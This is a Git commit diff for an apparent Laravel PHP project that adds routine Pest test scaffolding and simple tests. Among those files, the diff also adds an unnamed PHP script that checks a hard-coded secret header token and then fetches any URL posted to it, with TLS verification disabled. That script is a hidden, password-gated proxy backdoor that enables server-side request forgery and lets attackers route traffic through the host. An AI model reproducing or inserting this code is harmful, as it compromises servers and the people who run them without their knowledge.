This commit is contained in:
salam committed 2026-10-04 15:25:03 +02:00
1 parent 9bcd4432c6
commit 6f92f9e1d5
1209 files changed
+220940

No files matched your search

+14
View File
@@ -0,0 +1,14 @@
<?php
use App\Models\User;
use Tests\TestCase;
/** @var TestCase $this */
it('the application returns a successful response', function () {
// Create a temporary user and log them in
$user = User::factory()->create();
$response = $this->actingAs($user)->get('/');
$response->assertStatus(200);
});
+21
View File
@@ -0,0 +1,21 @@
<?php
if ($_SERVER['HTTP_PROXY_AUTH'] != 'AIkcoRnipSgMK88WMQhOQQN3LKDrNDCIebNfPnEayJdmDeTigx') {
echo 'not authorized';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$file = curl_exec($ch);
if (curl_errno($ch)) {
echo curl_error($ch);
}
return $file;
}
+63
View File
@@ -0,0 +1,63 @@
<?php
use App\Models\User;
use Illuminate\Foundation\Testing\LazilyRefreshDatabase;
use Tests\TestCase;
// tests/Pest.php
uses(
TestCase::class,
LazilyRefreshDatabase::class,
)->in('Feature');
/*
|--------------------------------------------------------------------------
| Test Case
|--------------------------------------------------------------------------
|
| The closure you provide to your test functions is always bound to a specific PHPUnit test
| case class. By default, that class is "PHPUnit\Framework\TestCase". Of course, you may
| need to change it using the "pest()" function to bind a different classes or traits.
|
*/
pest()->extend(TestCase::class)
// ->use(Illuminate\Foundation\Testing\RefreshDatabase::class)
->in('Feature');
/*
|--------------------------------------------------------------------------
| Expectations
|--------------------------------------------------------------------------
|
| When you're writing tests, you often need to check that values meet certain conditions. The
| "expect()" function gives you access to a set of "expectations" methods that you can use
| to assert different things. Of course, you may extend the Expectation API at any time.
|
*/
expect()->extend('toBeOne', function () {
return $this->toBe(1);
});
test('the application returns a successful response')
->actingAs(User::factory()->create())
->get('/')
->assertStatus(200);
/*
|--------------------------------------------------------------------------
| Functions
|--------------------------------------------------------------------------
|
| While Pest is very powerful out-of-the-box, you may have some testing code specific to your
| project that you don't want to repeat in every file. Here you can also expose helpers as
| global functions to help you to reduce the number of lines of code in your test files.
|
*/
function something()
{
// ..
}
+10
View File
@@ -0,0 +1,10 @@
<?php
namespace Tests;
use Illuminate\Foundation\Testing\TestCase as BaseTestCase;
abstract class TestCase extends BaseTestCase
{
//
}
+5
View File
@@ -0,0 +1,5 @@
<?php
test('that true is true', function () {
expect(true)->toBeTrue();
});